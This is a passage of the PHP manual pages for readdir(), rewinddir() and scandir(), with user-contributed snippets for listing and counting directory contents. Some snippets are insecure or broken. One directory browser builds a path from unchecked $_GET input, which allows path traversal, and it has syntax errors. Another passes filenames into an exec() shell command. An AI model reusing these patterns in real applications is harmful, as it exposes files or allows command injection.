  $files  = array('files'=>array(), 'dirs'=>array());
  $directories  = array();
  $last_letter  = $root[strlen($root)-1];
  $root  = ($last_letter == '\\' || $last_letter == '/') ? $root : $root.DIRECTORY_SEPARATOR;

  $directories[]  = $root;

  while (sizeof($directories)) {
    $dir  = array_pop($directories);
    if ($handle = opendir($dir)) {
      while (false !== ($file = readdir($handle))) {
        if ($file == '.' || $file == '..') {
          continue;
        }
        $file  = $dir.$file;
        if (is_dir($file)) {
          $directory_path = $file.DIRECTORY_SEPARATOR;
          array_push($directories, $directory_path);
          $files['dirs'][]  = $directory_path;
        } elseif (is_file($file)) {
          $files['files'][]  = $file;
        }
      }
      closedir($handle);
    }
  }

  return $files;
}
?>
tomfc at uninova dot pt 06-Jan-2011 09:11
an example, just for fun, including and playing a random file within a webpage:

<?php
/**
* get the number of files within a given dir
*/
function fileCounter($dir){
    $counter = 0;
    if ($handle = opendir($dir)) {
      //echo "Directory handle: $handle\n";
      //echo "Files:\n";
      /* This is the correct way to loop over the directory. */
      while (false !== ($file = readdir($handle))) {
          //echo "<BR>".$counter." - $file";
          $counter++;
      }
      closedir($handle);
    }
    $counter -= 1; // in order to exclude '.' and '..', as well as start the counter on 1
    return $counter;
}
/**
* get the filename in a giver dir, starting the first file with the index 1
*/
function fileNameByIndex($dir, $fileIndex){
    $counter = 0;
    if ($handle = opendir($dir)) {
      while (false !== ($file = readdir($handle))) {
          $counter++;
          if($counter - 2 == $fileIndex)
              return $file;
      }
      closedir($handle);
    }
    return "";
}
$nFiles = fileCounter("sounds");
$rndIndex = rand(1, $nFiles);
$fileName = fileNameByIndex("sounds", $rndIndex);

$player_obj = "<embed type='application/x-mplayer2' pluginspage='http://www.microsoft.com/Windows/MediaPlayer/' name='mediaplayer1' ShowStatusBar='false' EnableContextMenu='false' autostart='true' width='1' height='1' loop='false' src='sounds/$fileName' />";
echo $player_obj;

?>
Qwerp 11-Nov-2010 10:42
Here's a handy function you can use to list the files in the directory you specify, their type (dir or file) and whether they are hidden.
You could modify it to do other things too.

<?php
function listDirs($where){
echo "<table border=\"1\"><tr><td><b>Name</b></td><td><b>Type</b></td>";
echo "<td><b>Invisible (Hidden)?</b></td></tr>";
    $itemHandler=opendir($where);
    $i=0;
    while(($item=readdir($itemHandler)) !== false){
        if(substr($item, 0, 1)!="."){
            if(is_dir($item)){
                echo "<tr><td>$item</td><td>Directory</td><td>No</td></tr>";
            }else{
                echo "<tr><td>$item</td><td>File</td><td>No</td></tr>";
            }
            $i++;
        }else{
            if(is_dir($item)){
                echo "<tr><td>$item</td><td>Directory</td><td>Yes</td></tr>";
            }else{
                echo "<tr><td>$item</td><td>File</td><td>Yes</td></tr>";
            }
            $i++;
        }
       }
echo "</table>";
}
?>
Then call it like this.
<?php
listDirs(DIR);
?>
Example:
<?php
listDirs("/tests/directorylisting");
?>

You get a table like this.

Name    Type    Invisible (Hidden)?
.    Directory    Yes
..    Directory    Yes
.DS_Store    File    Yes
.localized    File    Yes
index.php    File    No
OOOLS    Directory    No
QwerpWiki.php    File    No
frasq at frasq dot org 01-Nov-2010 07:46
A variation on listing all the files in a directory recursively. The code illustrates a basic technique : the use of an auxiliary function. It avoids building temporary lists which are merged on the way back. Note that the array which collects the information must be passed by reference.

<?php
function listdir($dir='.') {
    if (!is_dir($dir)) {
        return false;
    }

    $files = array();
    listdiraux($dir, $files);

    return $files;
}

function listdiraux($dir, &$files) {
    $handle = opendir($dir);
    while (($file = readdir($handle)) !== false) {
        if ($file == '.' || $file == '..') {
            continue;
        }
        $filepath = $dir == '.' ? $file : $dir . '/' . $file;
        if (is_link($filepath))
            continue;
        if (is_file($filepath))
            $files[] = $filepath;
        else if (is_dir($filepath))
            listdiraux($filepath, $files);
    }
    closedir($handle);
}

$files = listdir('.');
sort($files, SORT_LOCALE_STRING);

foreach ($files as $f) {
    echo  $f, "\n";
}
?>
gherson at snet dot net 01-Mar-2010 04:15
readdir_recursive() is a recursive readdir() that returns filespecs not filenames.

<?php

define('SEEK', 'the grail');
define('ORIGIN', "C:\\Documents and Settings\\myname\\My Documents");
$hits = array();
$handles = array(ORIGIN=>opendir(ORIGIN)); // Associate handle with its (absolute) path.
////\\\\ "$handles" is special to
//                 \\\\\\\\\////////
while ($filespec = readdir_recursive($handles)) {
    $out = array();
    $cmd = "c:\\cygwin\\bin\\strings '$filespec' | c:\\cygwin\\bin\\grep -li ".SEEK;
    $lastLine = exec($cmd, $out, $status);
    // echo "out is ". implode(' ', $out) .", lastLine is $lastLine, status is $status\n";

    if (strstr(' '. implode(' ', $out), '(standard input)')) { // Hit.
       $hits[] = $filespec;
    }
}

echo "'".SEEK."' found in files: <br/>\n". implode("<br/>\n", $hits);

/**
 * Return unique filespecs under given directory tree until all found.
 *
 * To use: while ($filespec = readdir_recursive(array($dir="\\path\\to\\folder" => opendir($dir)))) { ...
 *
 * @param mixed $seed Array(<path>=><resource>) on 1st call | false during recursion.
 * @return mixed $filespec String | false
 */
function readdir_recursive($seed = false)
{
    global $handles; // ("global" instead of "static" because with latter,
    // assignments go out of scope when function executions end (via return $filespec;).)

    // $seed is only true (ie, includes a directory path specified by the user)
    // when readdir_recursive() is executing for the 1st time.
    if ($seed) {
        $handles = $seed;
    }
    assert('is_array($handles)');

    if (empty($handles)) {
        return false; // All done.
    }

    // Advance the current($handles) handle to a new file or folder.
    $file = readdir(current($handles));
    $filespec = key($handles) ."\\". $file;
    if (false===$file) { // End of current($handles) directory reached.

        // The current element, an exhausted handle, is the last element.
        array_pop($handles); // Discard exhausted handle. (This also sets array pointer to array beginning.)
        end($handles);
        // echo "\nUp to element ". key($handles) .'=>'. current($handles) ."\n";

        return readdir_recursive(); // Resume finding files in a higher level directory.

    } elseif (is_file($filespec)) {
        return $filespec;

    } else { // $file is a directory: Recurse.
        if ($file!=='.' && $file!=='..') { // Non-pointer directory reached.
            // Add this subdirectory to the list that must be traversed.
            $handles[$filespec] = opendir($filespec);
            next($handles); // Prepare to proceed to the appended subdirectory.
        }
        return readdir_recursive();
    }
}
yasirlayth at live dot com 04-Jan-2010 05:36
this simple function will index the directories and sub-directories of a given dir

<?php
function get_dirs($dir){
    global $dirs;
    if (!isset($dirs)){$dirs = '';}
    if(substr($dir,-1) !== '\\'){$dir .= '\\';}
    if ($handle = opendir($dir)){
        while (false !== ($file = readdir($handle))){
            if (filetype($dir.$file) === 'dir' && $file != "." && $file != ".."){
                clearstatcache();
                $dirs .= $file . "\n";
                get_dirs($dir . $file);
            }
        }
        closedir($handle);
    }
    return $dirs;
}
?>
DaveRandom 17-May-2009 07:39
A very flexible function to recursively list all files in a directory with the option to perform a custom set of actions on those files and/or include extra information about them in the returned data.

 ----------

 SYNTAX:
   $array = process_dir ( $dir , $recursive = FALSE )
        $dir  (STRING)   =  Directory to process
  $recursive  (BOOLEAN)  =  [Optional] Recursive if set to TRUE

 RETURN VALUES:
  The function returns an indexed array, one entry for every file. Each entry is an associative array, containing the basic information 'filename' (name of file) and 'dirpath' (directory component of path to file), and any additional keys you configure. Returns FALSE on failure.

 ----------

  To allow you to configure another key, the entry for each file is stored in an array, "$entry" for each iteration. You can easily return any additional data for a given file using $entry['keyname'] = ... (Note that this data can be any variable type - string, bool, float, resource etc)

  There is a string variable "$path" available, which contains the full path of the current file, relative to the initial "$dir" supplied at function call. This data is also available in it's constituent parts, "$dir" and "$file". Actions for each file can be constructed on the basis of these variables. The variables "$list", "$handle" and "$recursive" should not be used within your code.

 ----------

 Simply insert you code into the sections indicated by the comments below and your away!

 The following example returns filename, filepath, and file modified time (in a human-readable string) for all items, filesize for all files but not directories, and a resource stream for all files with 'log' in the filename (but not *.log files).

<?php

  function process_dir($dir,$recursive = FALSE) {
    if (is_dir($dir)) {
      for ($list = array(),$handle = opendir($dir); (FALSE !== ($file = readdir($handle)));) {
        if (($file != '.' && $file != '..') && (file_exists($path = $dir.'/'.$file))) {
          if (is_dir($path) && ($recursive)) {
            $list = array_merge($list, process_dir($path, TRUE));
          } else {
            $entry = array('filename' => $file, 'dirpath' => $dir);

 //---------------------------------------------------------//
 //                     - SECTION 1 -                       //
 //          Actions to be performed on ALL ITEMS           //
 //-----------------    Begin Editable    ------------------//

  $entry['modtime'] = filemtime($path);

 //-----------------     End Editable     ------------------//
            do if (!is_dir($path)) {
 //---------------------------------------------------------//
 //                     - SECTION 2 -                       //
 //         Actions to be performed on FILES ONLY           //
 //-----------------    Begin Editable    ------------------//

  $entry['size'] = filesize($path);
  if (strstr(pathinfo($path,PATHINFO_BASENAME),'log')) {
    if (!$entry['handle'] = fopen($path,r)) $entry['handle'] = "FAIL";
  }

 //-----------------     End Editable     ------------------//
              break;
            } else {
 //---------------------------------------------------------//
 //                     - SECTION 3 -                       //
 //       Actions to be performed on DIRECTORIES ONLY       //
 //-----------------    Begin Editable    ------------------//

 //-----------------     End Editable     ------------------//
              break;
            } while (FALSE);
            $list[] = $entry;
          }
        }
      }
      closedir($handle);
      return $list;
    } else return FALSE;
  }

  $result = process_dir('C:/webserver/Apache2/httpdocs/processdir',TRUE);

 // Output each opened file and then close
  foreach ($result as $file) {
    if (is_resource($file['handle'])) {
        echo "\n\nFILE (" . $file['dirpath'].'/'.$file['filename'] . "):\n\n" . fread($file['handle'], filesize($file['dirpath'].'/'.$file['filename']));
        fclose($file['handle']);
    }
  }

?>
HeadRoom 08-May-2009 12:08
Thought I would include what I wrote to get a random image from a directory.

<?php
$image_dir = 'images';
$count = 0;
if ($handle = opendir($image_dir)) {
    $retval = array();
    while (false !== ($file = readdir($handle))) {
        if (($file <> ".") && ($file <> "..")) {
        $retval[$count] = $file;
        $count = $count + 1;
            }
    }

    closedir($handle);
}
shuffle($retval);
$current_image = $retval[0];
?>

[NOTE BY danbrown AT php DOT net: Contains a bugfix/typofix inspired by 'ffd8' on 19-JUN-09.]
hanan dot ali dot shaikh at gmail dot com 14-Mar-2009 11:37
This function is used to display random image i.e. at header position of a site. It reads the whole directory and then randomly print the image. I think it may be useful for someone.

<?php
if ($handle = opendir('images/')) {
   $dir_array = array();
    while (false !== ($file = readdir($handle))) {
        if($file!="." && $file!=".."){
            $dir_array[] = $file;
        }
    }
    echo $dir_array[rand(0,count($dir_array)-1)];
    closedir($handle);
}
?>
ianatvirante.com 11-Feb-2009 09:45
I  couldn't easily find a way to recursively search and list all the files and directories in a directory. So here's a stab at it for anyone else who's looking.

<?php
//define the path as relative
$path = "path to directory";
$webpath ="the url you want to place before your filename/";
//using the opendir function
$dir_handle = @opendir($path) or die("Unable to open $path");

echo "Directory Listing of $path<br/>";

list_dir($dir_handle,$path);

function list_dir($dir_handle,$path)
{
    // print_r ($dir_handle);
    echo "<ol>";
    //running the while loop
    while (false !== ($file = readdir($dir_handle))) {
        $dir =$path.'/'.$file;
        if(is_dir($dir) && $file != '.' && $file !='..' )
        {
            $handle = @opendir($dir) or die("undable to open file $file");
            echo "<li><a href='$webpath.$file'>$file</a></li>";
            list_dir($handle, $dir);
        }elseif($file != '.' && $file !='..')
        {
               echo "<li><a href='$webpath.$file'>$file</a></li>";
        }
    }

    echo "</ol>";

    //closing the directory
    closedir($dir_handle);

}
?>
hotrungdungit at gmail dot com 18-Dec-2008 08:59
Below will return an array of file names and folders in directory

<?php
function ReadFolderDirectory($dir = "root_dir/here")
    {
        $listDir = array();
        if($handler = opendir($dir)) {
            while (($sub = readdir($handler)) !== FALSE) {
                if ($sub != "." && $sub != ".." && $sub != "Thumb.db") {
                    if(is_file($dir."/".$sub)) {
                        $listDir[] = $sub;
                    }elseif(is_dir($dir."/".$sub)){
                        $listDir[$sub] = $this->ReadFolderDirectory($dir."/".$sub);
                    }
                }
            }
            closedir($handler);
        }
        return $listDir;
    }
?>
MetaNull 10-Jul-2008 11:20
A simple directory browser... that handles the windows charset in filenames (it should work for every iso-8859-1 characters).
<?php
 $basepath = realpath("./pub/");  // Root directory
 $path = realpath($basepath.$_GET["path"]);  // Requested  path
$relativepath = "./".substr_replace( $path, "", 0, strlen( $basepath ) );
 if( "/" == substr( $relativepath, -1 )) {  // Remove the trailing slash
  $relativepath = substr( $relativepath, 0, -1 );
 }

$dh = opendir( $path );
  while( false !== ($file = readdir( $dh ))) {
   if("." == $file) {continue;}
   // converts the filename to utf8
   $file_utf8 = iconv( "iso-8859-1", "utf-8", $file );
   // encode the path ('path' part: already utf8; 'filename' part: still iso-8859-1)
   $link = str_replace( "%2F", "/", rawurlencode( "{$relativepath}/" )) . rawurlencode( utf8_decode( "{$file_utf8}" ));
   if( is_dir( "{$path}/{$file}" )) {
    echo "<a href=\"?path={$link}&amp;\">{$file_utf8}</a><br/>"
   } else {
    echo "<a href=\"{$link}&amp;\">{$file_utf8}</a><br/>"
   }
  }
 }
 ?>
Kim Christensen 05-May-2008 08:14
Handy little function that returns the number of files (not directories) that exists under a directory.
Choose if you want the function to recurse through sub-directories with the second parameter -
the default mode (false) is just to count the files directly under the supplied path.

<?php

  /**
   * Return the number of files that resides under a directory.
   *
   * @return integer
   * @param    string (required)   The directory you want to start in
   * @param    boolean (optional)  Recursive counting. Default to FALSE.
   * @param    integer (optional)  Initial value of file count
   */

  function num_files($dir, $recursive=false, $counter=0) {
    static $counter;
    if(is_dir($dir)) {
      if($dh = opendir($dir)) {
        while(($file = readdir($dh)) !== false) {
          if($file != "." && $file != "..") {
              $counter = (is_dir($dir."/".$file)) ? num_files($dir."/".$file, $recursive, $counter) : $counter+1;
          }
        }
        closedir($dh);
      }
    }
    return $counter;
  }

  // Usage:
  $nfiles = num_files("/home/kchr", true); // count all files that resides under /home/kchr, including subdirs
  $nfiles = num_files("/tmp"); // count the files directly under /tmp

?>
info at agentur-obermaier dot de 15-Apr-2008 04:13
This is a nice quick full dir read - sorry for my bad english ;)

<?php
function ReadDirs($dir,$em){
    if ($handle = opendir($dir)) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != ".." && $file != "Thumb.db") {
            if(is_dir($dir.$file)){
                echo $em."&raquo; ".$file.'<br>';
                ReadDirs($dir.$file."/",$em."&nbsp;&nbsp;");
            }
        }
    }
    closedir($handle);
    }
}
?>
dbzfanatic_1 at hotmail dot com 18-Mar-2008 09:03
Here's an easy way to output the contents as a list of download links.

<?php
$count = 0;
if ($handle = opendir('.')) {
    while (false !== ($file = readdir($handle))) {
        if ($file != "." && $file != "..") {$count++;
            print("<a href=\"".$file."\">".$file."</a><br />\n");
        }
    }
echo '<br /><br /><a href="..">Return</a>';
    closedir($handle);
}
?>

and simply use $count to list the overall number of files.
skysama at googles_email dot com 12-Sep-2007 10:23
Yet another view files by extension

/* NOTE:
 *  /a-d = do not include directories
 *  /b   = show files in bare mode ( no dates or filesize )
 */

<?php
$dir = '.\\img\\';    // reminder: escape your slashes
$filetype = "*.png";
$filelist = shell_exec( "dir {$dir}{$filetype} /a-d /b" );
$file_arr = explode( "\n", $filelist );
array_pop( $file_arr ); // last line is always blank
print_r( $file_arr );
?>
nullbyte at hotmail dot com 20-Aug-2007 12:06
I haven't tested this yet, but it seems like it'll do just fine if you need files of a certain extension:

<?php
$dh = opendir($options['inputDir']);
$files = array();
while (($filename = readdir($dh)) !== false)
{
    if (substr($filename, strrpos($filename, '.')) == $options['inputExt'])
    {
        $files[] = $filename;
    }
}
closedir($dh);
?>
johan dot mickelin at gmail dot com 31-May-2007 07:52
If you want to list only a certain filetype, this case only jpg and gif files in an image directory

<?php
$dir = opendir ("../images");
        while (false !== ($file = readdir($dir))) {
                if (strpos($file, '.gif',1)||strpos($file, '.jpg',1) ) {
                    echo "$file <br />";
                }
        }
?>
schursin at gmail[deleteme] dot com 27-May-2007 06:42
code:

<?php

        function permission($filename)
        {
            $perms = fileperms($filename);

            if     (($perms & 0xC000) == 0xC000) { $info = 's'; }
            elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; }
            elseif (($perms & 0x8000) == 0x8000) { $info = '-'; }
            elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; }
            elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; }
            elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; }
            elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; }
            else                                 { $info = 'u'; }

            // владелец
            $info .= (($perms & 0x0100) ? 'r' : '-');
            $info .= (($perms & 0x0080) ? 'w' : '-');
            $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));

            // группа
            $info .= (($perms & 0x0020) ? 'r' : '-');
            $info .= (($perms & 0x0010) ? 'w' : '-');
            $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));

            // все
            $info .= (($perms & 0x0004) ? 'r' : '-');
            $info .= (($perms & 0x0002) ? 'w' : '-');
            $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));

            return $info;
        }

        function dir_list($dir)
        {
            if ($dir[strlen($dir)-1] != '/') $dir .= '/';

            if (!is_dir($dir)) return array();

            $dir_handle  = opendir($dir);
            $dir_objects = array();
            while ($object = readdir($dir_handle))
                if (!in_array($object, array('.','..')))
                {
                    $filename    = $dir . $object;
                    $file_object = array(
                                            'name' => $object,
                                            'size' => filesize($filename),
                                            'perm' => permission($filename),
                                            'type' => filetype($filename),
                                            'time' => date("d F Y H:i:s", filemtime($filename))
                                        );
                    $dir_objects[] = $file_object;
                }

            return $dir_objects;
        }

?>

call:

<?php

        print_r(dir_list('/path/to/you/dir/'));

?>

output sample:

Array
(
    [0] => Array
        (
            [name] => api
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 01:55:02
        )

    [1] => Array
        (
            [name] => classes
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 26 May 2007 00:56:44
        )

    [2] => Array
        (
            [name] => config.inc.php
            [size] => 143
            [perm] => -rw-rw-rw-
            [type] => file
            [time] => 26 May 2007 13:13:19
        )

    [3] => Array
        (
            [name] => index.php
            [size] => 131
            [perm] => -rw-rw-rw-
            [type] => file
            [time] => 26 May 2007 22:15:18
        )

    [4] => Array
        (
            [name] => modules
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 00:47:40
        )

    [5] => Array
        (
            [name] => temp
            [size] => 0
            [perm] => drwxrwxrwx
            [type] => dir
            [time] => 28 May 2007 04:49:33
        )

)
(Qube#php@Efnet) 15-May-2007 08:36
<?php

// Sample function to recursively return all files within a directory.
// http://www.pgregg.com/projects/php/code/recursive_readdir.phps

Function listdir($start_dir='.') {

  $files = array();
  if (is_dir($start_dir)) {
    $fh = opendir($start_dir);
    while (($file = readdir($fh)) !== false) {
      # loop through the files, skipping . and .., and recursing if necessary
      if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
      $filepath = $start_dir . '/' . $file;
      if ( is_dir($filepath) )
        $files = array_merge($files, listdir($filepath));
      else
        array_push($files, $filepath);
    }
    closedir($fh);
  } else {
    # false if the function was called with an invalid non-directory argument
    $files = false;
  }

  return $files;

}

$files = listdir('.');
print_r($files);
?>
(Qube#php@Efnet) 14-May-2007 02:41
Here is an updated version of preg_find() [which has been linked from the glob() man page for years] - this function should provide most of what you want back from reading files, directories, different sorting methods, recursion, and perhaps most powerful of all the ability to pattern match with a PCRE regex.

You can get preg_find here: http://www.pgregg.com/projects/php/preg_find/preg_find.php.txt
or if you prefer colourful .phps format: http://www.pgregg.com/projects/php/preg_find/preg_find.phps
or scoll down to the end of this note.

I wrote several examples on how to use it on my blog at: http://www.pgregg.com/forums/viewtopic.php?tid=73

simple glob() type replacement:
$files = preg_find('/./', $dir);

recursive?
$files = preg_find('/./', $dir, PREG_FIND_RECURSIVE);

pattern match? find all .php files:
$files = preg_find('/\.php$/D', $dir, PREG_FIND_RECURSIVE);

sorted alphabetically?
$files = preg_find('/\.php$/D', $dir, PREG_FIND_RECURSIVE|PREG_FIND_SORTKEYS);

sorted in by filesize, in descending order?
$files = preg_find('/./', $dir,
  PREG_FIND_RECURSIVE|PREG_FIND_RETURNASSOC |PREG_FIND_SORTFILESIZE|PREG_FIND_SORTDESC);
$files=array_keys($files);

sorted by date modified?
$files = preg_find('/./', $dir,
  PREG_FIND_RECURSIVE|PREG_FIND_RETURNASSOC |PREG_FIND_SORTMODIFIED);
$files=array_keys($files);

Ok, the PHP note says my note is too long, so please click on one of the above links to get it.
phpwizard-at-pech-dot-cz 04-Jul-2002 01:22
It should work, but it'll be better to read section 13.1.3 Cache-control Mechanisms of RFC 2616 available at http://rfc.net/rfc2616.html before you start with confusing proxies on the way from you and the client.

Reading it is the best way to learn how proxies work, what should you do to modify cache-related headers of your documents and what you should never do again. :-)

And of course not reading RFCs is the best way to never learn how internet works and the best way to behave like Microsoft corp.

Have a nice day!
Jirka Pech
opendir
rewinddir
Directory Functions


Rewind directory handle

readdir
scandir
Directory Functions
PHP Manual

rewinddir

(PHP 4, PHP 5)

rewinddir — Rewind directory handle

Description

void rewinddir ([ resource $dir_handle ] )

Resets the directory stream indicated by dir_handle to the beginning of the directory.

Parameters

dir_handle

The directory handle resource previously opened with opendir(). If the directory handle is not specified, the last link opened by opendir() is assumed.

User Contributed Notes

There are no user contributed notes for this page.
readdir
scandir
Directory Functions


List files and directories inside the specified path

rewinddir
Fileinfo
Directory Functions
PHP Manual

scandir

(PHP 5)

scandir — List files and directories inside the specified path

Description

array scandir ( string $directory [, int $sorting_order = SCANDIR_SORT_ASCENDING [, resource $context ]] )

Returns an array of files and directories from the directory.

Parameters

directory

The directory that will be scanned.

sorting_order

By default, the sorted order is alphabetical in ascending order. If the optional sorting_order is set to SCANDIR_SORT_DESCENDING, then the sort order is alphabetical in descending order. If it is set to SCANDIR_SORT_NONE then the result is unsorted.

context

For a description of the context parameter, refer to the streams section of the manual.

Return Values

Returns an array of filenames on success, or FALSE on failure. If directory is not a directory, then boolean FALSE is returned, and an error of level E_WARNING is generated.

Changelog

Version | Description
5.4.0 | sorting_order now accepts constants. Any nonzero value caused descending order in previous versions.

Examples

Example #1 A simple scandir() example

<?php
$dir    = '/tmp';
$files1 = scandir($dir);
$files2 = scandir($dir, 1);

print_r($files1);
print_r($files2);
?>

The above example will output something similar to:

Array
(
    [0] => .
    [1] => ..
    [2] => bar.php
    [3] => foo.txt
    [4] => somedir
)
Array
(
    [0] => somedir
    [1] => foo.txt
    [2] => bar.php
    [3] => ..
    [4] => .
)

Example #2 PHP 4 alternatives to scandir()

<?php
$dir = "/tmp";
$dh  = opendir($dir);
while (false !== ($filename = readdir($dh))) {
    $files[] = $filename;
}

sort($files);

print_r($files);

rsort($files);

print_r($files);

?>

The above example will output something similar to:

Array
(
    [0] => .
    [1] => ..
    [2] => bar.php
    [3] => foo.txt
    [4] => somedir
)
Array
(
    [0] => somedir
    [1] => foo.txt
    [2] => bar.php
    [3] => ..
    [4] => .
)

Notes

Tip

A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide.

See Also

  • opendir() - Open directory handle
  • readdir() - Read entry from directory handle
  • glob() - Find pathnames matching a pattern
  • is_dir() - Tells whether the filename is a directory
  • sort() - Sort an array

User Contributed Notes

dwieeb at gmail dot com 22-Jan-2012 08:06
Easy way to get rid of the dots that scandir() picks up in Linux environments:

<?php
$directory = '/path/to/my/directory';
$scanned_directory = array_diff(scandir($directory), array('..', '.'));
?>
kodlee at kodleeshare dot net 08-Jan-2012 03:51
I needed to find a way to get the full path of all files in the directory and all subdirectories of a directory.
Here's my solution: Recursive functions!

<?php
function find_all_files($dir)
{
    $root = scandir($dir);
    foreach($root as $value)
    {
        if($value === '.' || $value === '..') {continue;}
        if(is_file("$dir/$value")) {$result[]="$dir/$value";continue;}
        foreach(find_all_files("$dir/$value") as $value)
        {
            $result[]=$value;
        }
    }
    return $result;
}
?>
spawnenius at gmail dot com 23-Sep-2011 08:37
A simple function to get paths to all files in the subdirectories of the mentioned directory. Works well for small projects

<?php
function get_subdir_files($main_dir) {
    $dirs = scandir($main_dir);
        foreach($dirs as $dir)  {
            if ($dir === '.' || $dir === '..') {
                continue; }
            $files=scandir($main_dir."/".$dir);
                foreach ($files as $file)  {
                if ($file === '.' || $file === '..') {
                    continue;
                } else {
                    $result[]=$main_dir.'/'.$dir.'/'.$file;
                    }
                }
    }
    return $result;
}
?>
Vanscot 01-Jul-2011 04:54
Note that target directory has to be 0755 (rwxr-xr-x) for it to be "readable" instead of the "read" permits 0744 (rwxr--r--).
This happens in "is_readable" function too.
Gerjoo at gmail dot com 26-May-2011 11:41
If you wish to sort by folders first then files, you could use something like this:

<?php
function scandirSorted($path) {
    $sortedData = array();
    foreach(scandir($path) as $file) {
        if(is_file($path . $file)) {
            array_push($sortedData, $file);
        } else {
            array_unshift($sortedData, $file);
        }
    }
    return $sortedData;
}
?>

NB.: This approach *might* be suboptimal for high performance situations.

- Gerard
donovan dot pp at gmail dot com 18-Feb-2011 01:01
Everyone seems to enjoy using recursive method, while i think recursive method is very inefficient.

The function below will demonstrate how to iteratively (faster than recursive method) dump every object (files and folders) and it's child tree starting from specified path ($dir) :

<?php
function dir_tree($dir) {
   $path = '';
   $stack[] = $dir;
   while ($stack) {
       $thisdir = array_pop($stack);
       if ($dircont = scandir($thisdir)) {
           $i=0;
           while (isset($dircont[$i])) {
               if ($dircont[$i] !== '.' && $dircont[$i] !== '..') {
                   $current_file = "{$thisdir}/{$dircont[$i]}";
                   if (is_file($current_file)) {
                       $path[] = "{$thisdir}/{$dircont[$i]}";
                   } elseif (is_dir($current_file)) {
                        $path[] = "{$thisdir}/{$dircont[$i]}";
                       $stack[] = $current_file;
                   }
               }
               $i++;
           }
       }
   }
   return $path;
}

?>
robin leffmann 25-Nov-2010 12:33
Note that scandir() will enforce alphanumerical sorting on the array it returns. If you wish to reduce CPU overhead by avoiding the sorting, or if you wish to obtain "natural filesystem order" - that is, the order in which the files are found while traversing the filesystem (usually the order in which they were written to the disk) - you need to go back to the PHP4 equivalent of opendir() + readdir().
pimus at hotmail dot com 08-Oct-2010 10:35
We can do a select dir in a array

<?php
function mi_dir_list($a_path=".", $a_mask="*")
{
    $dir = @ dir("$a_path");

    //List files in images directory
    while (($file = $dir->read()) !== false)
    {
       if($file !="." && $file!=".." && fnmatch($a_mask, $file))
         $l_vdir[] = $file;
    }

    $dir->close();

    return($l_vdir);
}

$lv = mi_dir_list( "../pruebas/", "*.*");
print_r($lv);
?>
boen dot robot at gmail dot com 20-Feb-2010 10:10
If you have a folder with many files and/or subfolders, doing a recursive scandir will likely either slow down your application, or cause a high rise in RAM consumption due to the large size of the generated array.

To help with this, as well as to make processing of files in a folder easier, I wrote a function that reads a folder and its subfolders recursively, and calls a function upon each match.

<?php
/**
 * Calls a function for every file in a folder.
 *
 * @author Vasil Rangelov a.k.a. boen_robot
 *
 * @param string $callback The function to call. It must accept one argument that is a relative filepath of the file.
 * @param string $dir The directory to traverse.
 * @param array $types The file types to call the function for. Leave as NULL to match all types.
 * @param bool $recursive Whether to list subfolders as well.
 * @param string $baseDir String to append at the beginning of every filepath that the callback will receive.
 */
function dir_walk($callback, $dir, $types = null, $recursive = false, $baseDir = '') {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            if ($file === '.' || $file === '..') {
                continue;
            }
            if (is_file($dir . $file)) {
                if (is_array($types)) {
                    if (!in_array(strtolower(pathinfo($dir . $file, PATHINFO_EXTENSION)), $types, true)) {
                        continue;
                    }
                }
                $callback($baseDir . $file);
            }elseif($recursive && is_dir($dir . $file)) {
                dir_walk($callback, $dir . $file . DIRECTORY_SEPARATOR, $types, $recursive, $baseDir . $file . DIRECTORY_SEPARATOR);
            }
        }
        closedir($dh);
    }
}
?>

Of course, because it is recursive, a folder with many levels of folders could potentially consume lots of memory, but then again, so can every other recursive scandir implementation here.

BTW, there's also the RecursiveDirectoryIterator SPL class:
http://bg.php.net/manual/en/class.recursivedirectoryiterator.php
which, even if using the same approach, will most likely be faster and hold down deeper levels (because it works on the C level), but this one will always work, regardless of settings... even on PHP4.

Point is, avoid recursive scandir implementations.
franzemmanuel at gmail dot com 10-Feb-2010 01:44
Scandir does not work properly with non-english caracters (like french accents for example : éàçè...) in the files name.
As PHP does not support unicode operations until PHP 6, this is not a bug.
moik78 at gmail dot com 28-Jan-2010 05:43
This is a function to count the number of files of a directory

<?php
function countFiles($dir){
    $files = array();
    $directory = opendir($dir);
    while($item = readdir($directory)){
    // We filter the elements that we don't want to appear ".", ".." and ".svn"
         if(($item != ".") && ($item != "..") && ($item != ".svn") ){
              $files[] = $item;
         }
    }
    $numFiles = count($files);
    return $numFiles;
}
?>
phpnet at novaclic dot com 11-Jan-2010 02:36
Was looking for a simple way to search for a file/directory using a mask. Here is such a function.

By default, this function will keep in memory the scandir() result, to avoid scaning multiple time for the same directory.

Requires at least PHP5.

<?php
function sdir( $path='.', $mask='*', $nocache=0 ){
    static $dir = array(); // cache result in memory
    if ( !isset($dir[$path]) || $nocache) {
        $dir[$path] = scandir($path);
    }
    foreach ($dir[$path] as $i=>$entry) {
        if ($entry!='.' && $entry!='..' && fnmatch($mask, $entry) ) {
            $sdir[] = $entry;
        }
    }
    return ($sdir);
}
?>
Dustin 27-Oct-2009 12:08
Another getDirectoryTree with filters:

<?php
function getDirectoryTree( $outerDir, $filters = array() ){
    $dirs = array_diff( scandir( $outerDir ), array_merge( Array( ".", ".." ), $filters ) );
    $dir_array = Array();
    foreach( $dirs as $d )
